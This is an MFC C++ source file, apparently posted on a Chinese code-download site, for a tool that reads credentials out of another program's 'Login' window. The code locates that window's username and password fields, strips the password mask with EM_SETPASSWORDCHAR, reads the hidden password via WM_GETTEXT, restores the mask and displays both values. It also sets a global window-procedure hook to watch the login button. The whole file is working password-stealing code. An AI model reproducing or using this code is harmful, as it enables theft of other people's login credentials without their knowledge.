⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 showpwdlg.cpp

📁 it includes two codes,they can recode the keyborad information
💻 CPP
字号:
// ShowPwDlg.cpp : implementation file
//

#include "stdafx.h"
#include "ShowPw.h"
#include "ShowPwDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CShowPwDlg dialog

CShowPwDlg::CShowPwDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CShowPwDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CShowPwDlg)
	m_User = _T("");
	m_Pass = _T("");
	//}}AFX_DATA_INIT
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CShowPwDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CShowPwDlg)
	DDX_Text(pDX, IDC_EDIT1, m_User);
	DDX_Text(pDX, IDC_EDIT2, m_Pass);
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CShowPwDlg, CDialog)
	//{{AFX_MSG_MAP(CShowPwDlg)
	ON_WM_SYSCOMMAND()
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_BN_CLICKED(ID_CLOSE, OnClose)
	ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
	ON_WM_TIMER()
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CShowPwDlg message handlers

BOOL CShowPwDlg::OnInitDialog()
{
	CDialog::OnInitDialog();
	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	
	// TODO: Add extra initialization here
	SetWindowPos(&wndTopMost, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | WS_EX_TOPMOST);
    stop=0;
	return TRUE;  // return TRUE  unless you set the focus to a control
}
	
void CShowPwDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
	CDialog::OnSysCommand(nID, lParam);
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CShowPwDlg::OnPaint() 
{
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting

		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CShowPwDlg::OnQueryDragIcon()
{
	return (HCURSOR) m_hIcon;
}

/////////////////////////////////////////////////////
void WINAPI DrawBorder(HWND hWnd);
BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam );
BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam );
HWND huser=NULL,hpass=NULL,hbutton=NULL;
HHOOK g_hHook = NULL;                 //全局钩子函数句柄

// 钩子过程,监视"登陆"的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	MessageBox(NULL,"I Get One Message","Test",MB_OK);
	CWPSTRUCT *p = (CWPSTRUCT *)lParam;
	// 捕获"登陆"按钮
	if (p->message == WM_COMMAND && p->hwnd ==hbutton)
		MessageBox(NULL,"I GET IT","ASDF",MB_OK);
	return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

BOOL CALLBACK EnumWindowProc( HWND hwnd, LPARAM lParam )
{
	CString title;
	char szCaption[100];
    if(!hwnd)
       return false;
    long style=GetWindowLong(hwnd,GWL_STYLE);
    if(style ==0x14CA0000)
	{
		GetWindowText(hwnd,szCaption,100);
        if(strncmp(szCaption,"Login",5)==0)
		{
//			DrawBorder(hwnd);
            EnumChildWindows(hwnd,EnumChildWndProc,NULL);
            return false;
		}
	}
	return true;
}
BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam ) 
{
    if(!hwnd)
       return false ;

    //取得指定句柄的控件ID
    long  id=GetWindowLong(hwnd,GWL_ID) ;

    if(id==0x00000000)//透明控件ID
	{
		long style = GetWindowLong(hwnd, GWL_STYLE);
		switch(style)
		{
		case 0x50000007:
			EnableWindow(hwnd,false);//让该GroupBox控件无效
			break;
		case 0x50010080:
//			DrawBorder(hwnd);
			huser=hwnd;
			break;
		case 0x500100A0:
//			DrawBorder(hwnd);
			hpass=hwnd;
			break;
		default:
			break;
		}

	}
    else if(id==0x00000096)//开始 按纽
	{
//	    DrawBorder(hwnd);
        hbutton=hwnd;
	}

    return true;
}
void WINAPI DrawBorder(HWND hWnd)
{
	if(!IsWindow(hWnd))
		return;
	RECT rect;
	GetWindowRect(hWnd, &rect);
	HDC hDC = GetWindowDC(hWnd);
	int iMode = SetROP2(hDC, R2_NOT);
	HPEN hPen = CreatePen(PS_INSIDEFRAME, 3 * GetSystemMetrics(SM_CXBORDER), RGB(255,0,0));
	HPEN hOldPen = (HPEN)SelectObject(hDC, hPen);
	HBRUSH hOldBrush = (HBRUSH)SelectObject(hDC, GetStockObject(NULL_BRUSH));
	Rectangle(hDC, 0, 0, rect.right - rect.left, rect.bottom - rect.top);
	SelectObject(hDC, hOldBrush);
	SelectObject(hDC, hOldPen);
	SetROP2(hDC, iMode);
	ReleaseDC(hWnd, hDC);
	DeleteObject(hPen);
}
///////////////////////////////////////////////////////
void CShowPwDlg::OnClose() 
{	
    if(g_hHook)
		UnhookWindowsHookEx(g_hHook);	
	OnOK();
}

void CShowPwDlg::OnButton1() 
{
	SetTimer(0,461,NULL);//创建定时器
	g_hHook = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, GetModuleHandle(NULL), 0);
		if (g_hHook==NULL)
			::MessageBox(NULL,"I GET IT","ASDF",MB_OK);
}

void CShowPwDlg::OnTimer(UINT nIDEvent) 
{
	if(hpass==NULL)
		EnumWindows(EnumWindowProc,NULL);
	else
	{
		GetBrasPass();//获取密码
	}

	CDialog::OnTimer(nIDEvent);
}

void CShowPwDlg::GetBrasPass()
{
	char szUser[255],szPass[255];

	long nType=::SendMessage(hpass,EM_GETPASSWORDCHAR,0,0);//得到该密码框属性,用做取完密码后恢复该属性用
	::PostMessage(hpass,EM_SETPASSWORDCHAR,0,0);//去除密码框密码属性
    Sleep(99);//停止100毫秒,这点很重要
    ::SendMessage(hpass,WM_GETTEXT,255,(LPARAM)szPass);//取出密码
    ::PostMessage(hpass,EM_SETPASSWORDCHAR,nType,0);//恢复密码框属性

	::SendMessage(huser,WM_GETTEXT,255,(LPARAM)szUser);

	m_Pass = szPass;	// 获得 PassWord
    m_User = szUser;
//    hpass=NULL;huser==NULL;
	UpdateData(FALSE);
}

BOOL CShowPwDlg::DestroyWindow() 
{
    KillTimer(0);	
	return CDialog::DestroyWindow();
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -